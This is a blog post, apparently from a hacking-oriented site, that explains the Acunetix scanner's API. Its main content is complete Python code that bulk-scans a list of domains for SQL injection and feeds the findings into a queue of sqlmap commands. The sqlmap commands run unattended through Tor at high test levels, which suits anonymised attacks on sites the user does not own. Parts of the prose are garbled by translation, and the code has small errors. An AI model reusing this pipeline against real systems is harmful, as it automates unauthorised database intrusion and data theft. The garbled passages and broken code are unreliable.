In general, this note can be considered as an introduction to the Acunetix API using a useful example.
Scheme of the script 1. Running scans in Acunetix - We look at the number of active scans - If the number is less than 7 (in my case this is a comfortable number), add new targets and start them. Otherwise, we go to step 2. 2. We launch a scan in sqlmap for vulnerabilities from Acunetix - Looking for new dependencies with sqli - If there are, we add vulnerabilities to the queue, if not, we sleep. When preparing the material, I used the following software: 1. Acunetix Version: 24.2.240226074 for Windows 2. Postman 3. VS Code
Acunetix API Research
I open Acunetix -> Administrator -> Profile and at the very bottom I find what I wanted:
The key is there, the documentation is there. From the documentation we find out the standard REST API address: https://127.0.0.1:3443/api/v1/ It’s time to play around in Postman, then write the required script, for example, in Python.
Acunetix is a very good tool, but the way access to data is organized in the interface... the logic of the developers is often incomprehensible. This suggested that working with the API would not be a cakewalk. And yes, my instincts were right. The API documentation is not the most accurate. On the other hand, this is a kind of test for a minimum of knowledge in pentesting - you can guess how to use the API, welcome. Well, if not, then why did you install the perch at all?
Link to local API documentation: https://localhost:3443/Acunetix-API-Documentation.html#-scans I used it and cursed at it all the way.
REST API Authorization
Everything is simple here. The token is in the profile, and you need to transfer it using the usual X-Auth header, without dancing with a tambourine:
Getting active scans
The first thing I would like to implement is checking active scans. The documentation offers us the following query:
curl -X GET https://127.0.0.1:3443/api/v1/scans \
-H 'Accept: application/json' \
-H 'X-Auth: API_KEY'
GET parameters are provided for filtering: c - Cursor indicating which index is the head of the next batch of elements (generally coupled with a limit). l - Maximum number of items returned. Parameter defaults to 100 if not passed. Limit ranges accepted are less than 100 or greater than 1 (1 < limit < 100). q - Query to filter results based on a number of filters. s - none To hell with “s”, this parameter probably makes sense in other queries, let’s see what can be put in “q”:
target: Specific target to filter for.
threat: Level of severity to filter scans by.
business_criticality: Level of business criticality to filter scans for.
scan_status: Scan state to filter by. Multiple values can be added and are comma-separated (e.g. ?scan_status=completed,queued)
profile_id: Scan type to filter scans by (e.g. Crawl Only).
group_id: Target group to filter scans by.
We are interested in scan_status, but here is the first discrepancy. In the help examples above, access via “q” looks like this: ?q=scan_status:processing. Here we are asked to use scan_status as an independent parameter. Okay, let's try everything. Request: https://127.0.0.1:3443/api/v1/scans?q=scan_status:processing
{
"code": 16,
"message": "Validation errors",
"details": [
{
"q": {
"problems": [
{
"error_message:": "Unknown filter key",
"param_path": "q.scan_status",
"code": "invalid_filter"
}
],
"src": "url"
}
}
]
An attempt to use scan_status as a separate parameter produces the result without any filtering. The solution was suggested by the Acunetix control panel, where the parameter looks like “status”. The correct request URL is:
https://127.0.0.1:3443/api/v1/scans?q=status:processing
Great, now we can see the number of scans, all that remains is to figure out adding new targets, creating scans and obtaining vulnerabilities.
Adding a new target
There are two options for adding a new goal: single and multiple. Here's what the help says about single addition:
# You can also use wget
curl -X POST https://127.0.0.1:3443/api/v1/targets \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'X-Auth: API_KEY'
Body:
{
"address": "string",
"description": "",
"type": "default",
"criticality": 30
}
Another option is to add targets in batches. In the future, this option will become preferable, but more on that later. Multiple additions are made through the add endpoint and accept an array of targets and groups to which they need to be attached:
curl -X POST https://127.0.0.1:3443/api/v1/targets/add \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'X-Auth: API_KEY'
Body:
{
"targets": [
{
"address": "string",
"description": "",
"type": "default",
"criticality": 30
}
],
"groups": [
"497f6eca-6276-4993-bfeb-53cbbbba6f08"
]
}
To add targets to groups, we need to get the groups: https://127.0.0.1:3443/api/v1/target_groups In response we will receive JSON with the groups array.
I’m trying to create a new target, but I want to immediately place it in a group with the identifier “633495df-f965-473c-86e8-785eef521a7e”. Considering that the API documentation is compiled according to the “if only it was” principle, I’m trying to stuff a group into group_id. The target has been created, but the group is empty. I’ll say right away that by adding a single target I was not able to create a target that would be added to a group.
It turned out that the perch itself adds the target through multiple additions. There doesn't seem to be any other way to immediately attach a group. But for me, groups are important, I use them to group...))) Seriously, it’s convenient to break them down by sources of targets, so that later you can analyze your activities. Well, or find a “lost” target. It doesn't matter to me. I will then use group adding. But we saw what parameters the REST API actually expects. The type and criticality parameters specified in the help are also needed, but their default values are enough for me.
After creating the target, its identifier was returned. It will be needed to launch, but first I’ll take a step back and look for a query that will allow me to check whether the url is in the database. It is logical that before adding a target, you need to check whether it is already in the database? As they say, better late than never. I didn’t find anything useful about this in the documentation, so I again look at Acunetix’s own queries: https://127.0.0.1:3443/api/v1/targets?q=text_search:*https://pornhub.com The response is an object with an array of targets. In code this will turn into a simple check of the number of objects.
Creating a scan via API
Again I look at the certificate with hope without hope, here is the description of the method:
curl -X POST https://127.0.0.1:3443/api/v1/scans \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'X-Auth: API_KEY'
Body:
# Example from API documentation
{
"target_id": "d3bcdc92-4191-401b-ad0c-42056c6efab9",
"profile_id": "bfcb6779-b1f9-41fc-92d7-88f8bc1d12e8",
"report_template_id": "e89ef7db-4101-4c97-b7ab-9249efd2d3cd",
"schedule": {
"disable": true,
"time_sensitive": true,
"history_limit": 10,
"start_date": "string",
"recurrence": "string",
"triggerable": false
},
"max_scan_time": 0,
"incremental": false
}
He asks for a lot of things… and, of course, there is no detailed information on the request. Let’s go in order. First, let’s deal with profile_id. This is nothing more than a scan profile. You can request scanning profiles via the API method: https://127.0.0.1:3443/api/v1/scanning_profiles
Most likely, if you have the zero version installed, the scan profiles will be like mine:
{
"scanning_profiles": [
{
"checks": [],
"custom": false,
"name": "Full Scan",
"profile_id": "11111111-1111-1111-1111-111111111111",
"sort_order": 10
},
{
"checks": [],
"custom": false,
"name": "Critical / High Risk",
"profile_id": "11111111-1111-1111-1111-111111111112",
"sort_order": 20
},
{
"checks": [],
"custom": false,
"name": "Critical / High / Medium Risk",
"profile_id": "11111111-1111-1111-1111-111111111119",
"sort_order": 30
},
{
"checks": [],
"custom": false,
"name": "Cross-site Scripting",
"profile_id": "11111111-1111-1111-1111-111111111116",
"sort_order": 40
},
{
"checks": [],
"custom": false,
"name": "SQL Injection",
"profile_id": "11111111-1111-1111-1111-111111111113",
"sort_order": 50
},
{
"checks": [],
"custom": false,
"name": "Weak Passwords",
"profile_id": "11111111-1111-1111-1111-111111111115",
"sort_order": 60
},
{
"checks": [],
"custom": false,
"name": "Crawl Only",
"profile_id": "11111111-1111-1111-1111-111111111117",
"sort_order": 70
},
{
"checks": [],
"custom": false,
"name": "OWASP Top 10",
"profile_id": "11111111-1111-1111-1111-111111111129",
"sort_order": 80
},
{
"checks": [],
"custom": false,
"name": "PCI checks",
"profile_id": "11111111-1111-1111-1111-111111111131",
"sort_order": 81
},
{
"checks": [],
"custom": false,
"name": "Sans Top 25",
"profile_id": "11111111-1111-1111-1111-111111111132",
"sort_order": 82
},
{
"checks": [],
"custom": false,
"name": "Malware Scan",
"profile_id": "11111111-1111-1111-1111-111111111120",
"sort_order": 90
}
]
}
I am interested in SQL Injection, so I will use the profile “11111111-1111-1111-1111-111111111113”
I'm trying to create a scan with only a target and a scan profile, but no... I still need to specify the schedule property
In order not to waste time, I create a scan through the interface and copy part of the request from there:
{
"target_id": "18d1d575-cb54-47f8-9ca9-124f5345f882",
"profile_id": "11111111-1111-1111-1111-111111111113",
"incremental": false,
"schedule": {
"disable": false,
"start_date": null,
"time_sensitive": false
}
}
I test in Postman and get the parameters of the newly created scan. I check in the interface - everything is ok, the scan has been created!
We receive information on vulnerabilities:
The second part is no less important - obtain data on vulnerabilities and transfer it to SQLMAP for scanning. For now, let’s look at the Acunetix API methods we need. The final step of getting to know the API. We need this endpoint:
curl -X GET https://127.0.0.1:3443/api/v1/vulnerabilities \
-H 'Accept: application/json' \
-H 'X-Auth: API_KEY'
As we agreed at the very beginning, the developers do not provide any information on the request parameters. I started looking at the perch requests again. A query filtered by SQL Injection looks like this:
https://localhost:3443/api/v1/vulne...2d-1a152945cdae;status:!ignored;status:!fixed; More precisely, here is the filter itself: q=vt_id:db04b846-7dec-fb62-f12d-1a152945cdae; The fact that the type of vulnerability needs to be searched by identifier, and not by tag, does not make me very happy. On the one hand, pain is less reliable. On the other hand, when manually entering a filter, it gives all sorts of options with “SQL Injection”. In general, to find out vulnerability identifiers, you can use a text search by type of vulnerability: https://localhost:3443/api/v1/vulnerability_types?q=text_search:*sql injection
Pay attention to "*". Without this search will not happen, in response you will receive a message about the wrong operator.
The final touch will be to obtain the vulnerabilities of the details, namely: the request itself with the payload, indicating the vulnerable parameter and the type of injection. To do this, we turn to the same final point, we just add the vulnerability identifier. Example: https://127.0.0.1:3443/api/v1/vulnerabilities/3339540470580643701
In general, this is all that is required from the API. Although, you may want to implement a simple filtering mechanism for whether a sqlmap injection has been processed or not, through the vulnerability status. Then you need to make a simple PUT request:
curl -X PUT https://127.0.0.1:3443/api/v1/vulnerabilities/{vuln_id}/status \
-H 'Content-Type: application/json' \
-H 'Accept: application/json' \
-H 'X-Auth: API_KEY'
Body
{
"status": "fixed"
}
For example: https://localhost:3443/api/v1/vulnerabilities/3352451120738862639/status
Automation script in Python
The code is quite simple. Of course, it does not pretend to be ideal/universal or any other options. Moreover, in general, I don’t use Python very often, this is clearly visible from the unsightly constructions, as well as from the absolute lack of understanding of how to correctly throw an exception in Python and handle it correctly)))) But it seems that in information security this is the most used language, so I decided write on it.
In general, think of it as just one of the possible implementations with a text file as input. Let me remind you that I tried as much as possible to avoid any related topics, but still decided to leave one of the options for implementing the sqlmap scan launch queue, so that the script could be simply downloaded, changed parameters and used. Ideally, it needs to be improved, which I will do later, but for now it can be used as a crutch.
AcunetixAPI class
In order not to clutter up the code and make it possible to scale the script at least minimally with little blood, I wrote the simplest wrapper class for Acunetix methods and some of my own methods. The full code is in the attached files.
We have five files in total:
- AcunetixAPI.py – a class that implements some API methods plus several functions that were required to work with the API
- sqli_params.py – several helper functions that process perch data so that they can be used in sqlmap
- file_utils.py – 4 functions for reading and writing files, also auxiliary nonsense
- main.py – there is a basic logic here
- sqlmap_scan.py – the file that starts the sqlmap scan, waits for the end and starts the next one. A primitive way to implement a queue. I put it in the output folder, this is the folder where sqlmap requests are stored. I also have a queue file there.
The project structure looks like this:
Files with numbers are requests from Acunetix, which contain the %INJECTHERE% macro. domains.txt – a file with domains to upload to okun. sqlmap_queue.txt – the queue file for sqlmap, in fact stupidly launch commands.
Enough of the lyrical digressions, let’s move on to the code…
In the class constructor, we remember the API address and token, plus disable unnecessary notifications. We will need to exclude SSL verification, as a result, we will get swearing in response … in short, why do we need it? No, you can mess around, put everything in order, but this is the topic of another TV show.
import requests
from urllib3.exceptions import InsecureRequestWarning
class Acunetix:
def __init__(self, api_url, token):
self.url = api_url
self.token = token
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
return
Immediately after the constructor, there are three wrapper methods for sending requests: get_request, post_request and post_request. Basically, they just add an authorization header and a content type. All return json(). In a good way, you need to throw an exception correctly and handle it correctly, but here I will leave room for the reader’s thoughts.
def get_request(self, endpoint):
headers = {
'X-Auth':self.token,
'Content-Type':'application/json'
}
response = requests.get(url=endpoint, headers=headers, verify=False)
if response.status_code != 200:
raise Exception("API Request Error", response.status_code, response.text)
return response.json()
Most of the methods simply specify a specific endpoint, add data if necessary, and pass everything to a suitable request. Example of the method:
#Creating new targets
#At the input, targets is an array prepared by the function prepare_targets_json() and a list of group IDs. Empty by default
#JSON output with newly created objects
def create_targets(self, targets, groups=[]):
#К API url adding an endpoint
endpoint = self.url + 'targets/add'
#Creating a JSON object for the request body
data = {
"targets": targets,
"groups": groups
}
#We execute the POST method and return a JSON object with an array of created targets
created_targets = self.post_request(endpoint=endpoint, data=data)
return created_targets
For convenience, in the attached file, all wrappers are highlighted with the comments “Acunetix API Methods” and “End Acunetix API Methods”, respectively. Therefore, adding some API method will not be a problem at all.
Auxiliary scripts
Before we get to the basics, let’s take a look at the important, but not the most interesting scripts. Basically, file_utils.py it could have been ignored altogether. There are only 4 functions that work with files and do not do anything supernatural. But since I’m putting all the code here, here’s the code file_utils.py
def get_first_lines_and_delete(filename, num_lines):
with open(filename, 'r') as fin:
data = fin.read().splitlines(True)
with open(filename, 'w') as fout:
fout.writelines(data[num_lines:])
return data[:num_lines]
def append_array_to_file(filename, array_vals):
with open(filename, "a") as f:
for val in array_vals:
f.write(val)
def append_str_to_file(filename, str):
with open(filename, "a") as f:
f.write(str)
def write_str_to_file(filename, str):
with open(filename, "w") as f:
f.write(str)
In sqli_params.py of course, there is quite an important code. Namely, the one responsible for the correct translation of the Acunetix API response to the data ready to build the SQLMAP startup command.
Acunetix, using the Vulnerability Detail method, returns an object in which we are interested in three properties. Basically, these are “details” and “request”. The “affects_detail” property stores the name of the vulnerable parameter, but we can safely get it from “details”.
As it is clear from the names of the properties, the “requests” stores the very request that worked perfectly when scanning with a perch. The property of this field will be saved almost unchanged to a file, to be used later when starting sqlmap with the “-r” parameter. The only serious conversion of requests is to replace the payload with the %INJECTHERE% macro. We’ll just help sqlmap find the vulnerability faster.
In general, this is the end of the work sqli_params.py . We received the data, parsed it and returned it in a more convenient form. The code is not complicated and is all in the comments. Below, I will return to the nuances in processing the details of the vulnerability.
import re
from urllib.parse import unquote
import html
#The function returns a value for --technique SQLMAP
# So far, only for Time-Base "T" and Boolean-based "B", or an empty value
# Accepts attribs - an array of strings ["10.110",...] или ['True', 'False'...]
def get_ingection_type_by_attribs(attribs):
if attribs[0] == 'True' or attribs[0] == 'False':
return 'B'
elif len(re.findall("[0-9.]", attribs[0]))==len(attribs[0]):
return 'T'
return ''
#The function takes the details and request properties of the Vulnerability object from the Acunetix API
# Returns ready-made parameters for the SQLMAP startup string and the query file
def get_injection_params(details_text, request_text):
# The type of injection that will be required later
injecton_type = ''
# The values of all strings (vulnerable parameter, injection and vulnerability signaling parameters)
strong = re.findall(r"(?<=<strong>).*?(?=<\/strong>)", details_text)
# We highlight the name of the parameter, although it can be obtained directly from the vulnerability object.
affects_detail
param_name = re.findall(r"(?<=>).*?(?=<)", strong[0])[0]
# The payload that worked
payload = re.findall(r"(?<=>).*?(?=<)", strong[1])[0]
#Response attributes that indicate the presence of a vulnerability are needed to determine the type of the function
get_ingection_type_by_attribs(attribs)
attribs = strong[2:-1]
# Clearing the request of html characters and URL codes
request = html.unescape(unquote(request_text))
# Clearing the payload of html characters and URL codes
payload = html.unescape(unquote(payload))
# We replace the payload in the query with the %INJECTHERE% macro so that SQLMAP understands where to substitute its uploads
request = request.replace(payload, "%INJECT HERE%").replace('\r\n', '\n')
#If there is an error message, then the injection type is Error-based
if "Error message found" in details_text:
injecton_type = 'E'
else:
# Otherwise, we are looking for Boolean or Time-based
injecton_type = get_ingection_type_by_attribs(attribs)
# If the parameter looks like /[N]-/, etc., then the payload is embedded in the url itself
# in practice, such requests have worked for me with Inline injection, i.e. in --technique SQLMAP
if param_name[0] == "/" and param_name[-1] == "/":
injecton_type += 'Q'
# Clearing the parameter name so that there is no substitution in the command via the -p parameter
param_name = ''
return payload,request,injecton_type, param_name
The main script (main.py )
As I wrote at the very beginning, the first thing we get is a “limit” on the number of scans that can be added. If you want, then let’s add tags and create scans of ”SQL Inject”. In addition, we are discovering a number of non-working vulnerabilities. That is, we create everything in sqlmap. I think it makes no sense to dig too much into the main script.
It is much more interesting to work with the vulnerabilities found, because there are features there. Let’s move on to this…
Uploading features from Acunetix to SQLMAP
It’s not easy to help children figure it out, it’s to transfer them to SQLMAP, of course. The fact is that the most important things are specified in the details and the request, and they look really diverse. In the sense that using HTML output it is completely easy to look at it, but with the help of parsing you can try.
Acunetix may not take into account the type of SQL interface that can be provided to any users. The example that allows you to determine true and false data is based on a logical interpretation. The query I’m outputting is time-based, and the message “Error message found” is outputted based on the error.
The second inconvenient point is to bring the Request to the desired form, I have already touched on the issue a little above. It is necessary to replace the injection in the Acunetix query with a clear SQLMAP construct, for example, with %INJECT HERE%. I like using this macro more than “*”.
The advantage of the situation is that the payload from requests is output first in details and wrapped in . But you need to bring the payloads to one type, then you can easily replace them and save the correct query for the map.
The second hint is located right in front of the desired payload. Acunetix highlights a vulnerable parameter. This is either a stock of the form “/[*]–/”, which means the payload is part of the url. Whether it is a specific parameter of the url or another part of the request. The disadvantage of the situation is that I did not come across all the variations. For example, there were no injections from payload into the User-agent. Also, Acunetix has never found me injections with union. Although, maybe here I’m missing out on payloads consisting of only quotation marks. We get the payload and the vulnerable parameter
Two options came to mind. The first is to use a regular expression that uses the features of the output of the first strings. I got this expression: /(?<=\”>).*?(?=<\/ span>)/. The advantage is that I immediately get two necessary values.
The second option is to take all at once, clean the first two values from the spans, and look for signs of the injection type in the rest. I like this approach better, since we get all the values in one operation. Although, in a good way, there is not much difference.
As a result, I removed all these treatments in sqli_params.py by making the main code more or less clean:
import os
import AcunetixAPI
from file_utils import *
from sqli_params import *
# Full url to the Acunetix api
API_URL = 'https://127.0.0.1:3443/api/v1/'
# Token from the Acunetix profile
API_TOKEN = '1986ad8c0a5b3df4d7028d5f3c06e936c0ac1fac3ff7745b7a7aeb08fbe7de500'
# List of targets with http and https
FILE_DOMAINS = 'domains.txt'
# Duplicates of targets will fall into this file
FILE_DUBBED = 'dubbed_domains.txt'
# This is where data on failed attempts to create a scan falls
FILE_NON_CREATED_SCANS = 'not_created_scans.txt'
# The directory where the files with the request will be stored, there is also a file with commands to run SQLMAP and a file that runs SQLMAP scans according to the outline
OUTPUT_FOLDER = 'output'
# The name of the file with the commands to run SQLMAP (a simple list)
FILE_SQLMAP_QUEUE = OUTPUT_FOLDER + '/sqlmap_queue.txt'
# SQLMAP startup parameters that you consider necessary to add to each scan
SQLMAP_DEFAULT_PARAMS = ' --batch --tor --tor-type=SOCKS5 --risk=1 --level=5'
# Creating an Acunetix API object
acunetix = AcunetixAPI.Acunetix(api_url=API_URL, token=API_TOKEN)
#############################################################################
#
# THE PART RESPONSIBLE FOR ADDING NEW TARGETS AND CREATING SCANS
#
#############################################################################
# We get the available limits for creating scans based on those already running.
# In this case, a maximum of 7 scans at a time
limit = acunetix.get_active_scans_limit(maximum=7)
if limit>0:
# We get the ID of the scan type equal to SQL Injection
sqli_profile_id = acunetix.get_scaning_profile_sqli()
# We read the required number of targets from the targets file
domains = get_first_lines_and_delete(FILE_DOMAINS, limit)
# Clearing the list of targets from duplicates
unique_domains, dubbed_domains = acunetix.clear_domains_exists(domains=domains)
# Saving duplicates to a file (not critical, you can remove it)
if len(dubbed_domains):
append_array_to_file(FILE_DUBBED, dubbed_domains)
# If there is something to add, we proceed to the addition. The scheme is imperfect, because the duplicates will simply fall back, while
#no new unique domains will be added. If this is critical, you can rewrite it
if len(unique_domains):
# Turning the list of domains into ['https://domain.com ',...] to the list of objects that Acunetix will accept as targets
targets = acunetix.prepare_targets_json(unique_domains, description='test')
try:
# We are trying to create targets through the API, if it does not work out, add the domains back to the domain file, but at the end
created_targets = acunetix.create_targets(targets=targets)
except Exception as e:
print('Error create target')
append_array_to_file(FILE_DOMAINS, unique_domains)
exit(1)
#The cycle runs through all the targets created in the previous step and starts new scans
for target in created_targets['targets']:
try:
# Passing the target to the create_scan function, which will first prepare the correct object
# after that, it will call the api method to create a scan
#In case of an error, we record the information
scan = acunetix.create_scan(target_id=target['target_id'], profile_id=sqli_profile_id)
print('Created scan id:' + scan["scan_id"])
except Exception as e:
print('Error create scans')
append_str_to_file(FILE_NON_CREATED_SCANS, 'Error with target_id: ' + target['target_id'] + '\n')
else:
print("Let's have a file with domains!!!')
#############################################################################№№№№№№№№№№№№№№№
#
# THE PART RESPONSIBLE FOR UNLOADING THE FOUND VULNERABILITIES AND FORMING A QUEUE FOR SQLMAP
#
#############################################################################№№№№№№№№№№№№№№№
# We get all the vulnerabilities found with the SQL Injection type and the open status
vulnerabilities = acunetix.get_sqli_vulnaribility()
for vuln in vulnerabilities['vulnerabilities']:
vuln_id = vuln['vuln_id']
#We request an extended description of the vulnerability, because we need the details and request properties, which are respectively,
#describe cases and vulnerabilities and provide the correct request
vuln_details = acunetix.get_vulnerability_details(vuln_id=vuln_id)
details_text=vuln_details['details']
request_text=vuln_details['request']
# To create the right SQLMAP startup command, we need to process the data and parse only what is necessary from there
payload,request,injecton_type, param_name = get_injection_params(details_text=vuln_details['details'], request_text=vuln_details['request'])
# We save the request under the name {vuln_id}, so that we can then transfer this SQLMAP file via the -r parameter
write_str_to_file(OUTPUT_FOLDER + '/' + vuln_id, request)
# We form the SQLMAP startup command itself
sqlmap_command = f"sqlmap -r {vuln_id}"
if param_name:
sqlmap_command += ' -p ' + param_name
if injecton_type:
sqlmap_command += ' --technique=' + injecton_type
sqlmap_command += SQLMAP_DEFAULT_PARAMS
append_str_to_file(FILE_SQLMAP_QUEUE, sqlmap_command)
#In the final, we change the status of the found vulnerability to fixed, so that at the next requests it is not given to us and does not get back on the queue for scanning
acunetix.set_vulnerability_status(vuln_id=vuln_id, status='fixed')
Starting the SQLMAP Scan Queue
I wanted to leave it behind the scenes… but somehow unfinished without a startup script.
The scripts above put the results of the work in the output folder (based on what is written in the code now). This folder contains files that store HTTP requests, and there is also a file with a list of commands that run SQLMAP. I also put the sqlmap_scan file in it.py, which starts the SQLmap scanning in turn.
import subprocess
def get_first_lines_and_delete(filename, num_lines):
with open(filename, 'r') as fin:
data = fin.read().splitlines(True)
with open(filename, 'w') as fout:
fout.writelines(data[num_lines:])
return data[:num_lines]
def append_str_to_file(filename, str):
with open(filename, "a") as f:
f.write(str)
file_queue = 'sqlmap_queue.txt'
file_error = 'error_scan.txt'
while True:
sqlmap_command = get_first_lines_and_delete(filename=file_queue, num_lines=1)
return_code = subprocess.call(sqlmap_command, shell=True)
if return_code != 0:
append_str_to_file(filename=file_error, str=sqlmap_command + '\n')
As you can see from the code, I copied two functions to work with files there. The script itself simply starts an endless loop, takes the first line from the queue file, runs it, waits for execution and returns to the beginning of the loop. Stupid? Yes. Can it be better? Yes, of course! For example, you can add at least Ctrl+C capture to adequately handle the interruption of the process. But the main task has been completed. We got acquainted with the Acunetix API, the scripts connecting Acunetix with SQLMAP are written and working.
THE NOTE This article is for informational purposes only. We do not encourage you to commit any hacking. Everything you do is your responsibility.
TOX : 340EF1DCEEC5B395B9B45963F945C00238ADDEAC87C117F64F46206911474C61981D96420B72
Telegram : @DevSecAS
More from Uncategorized
Fortinet FortiOS / FortiProxy Unauthorized RCE
CVE-2024-21762 is a buffer overflow write vulnerability in Fortinet Fortigate and FortiProxy. This vulnerability allows an unauthorized attacker to execute …
Active Directory Dumper 2
We check the architecture for strength – an attempt to cram in the unintelligible – we fasten the network resource …
Active Directory Dumper
The purpose of this article is to show the use of the principles of building an application architecture. 1.1.1 What we …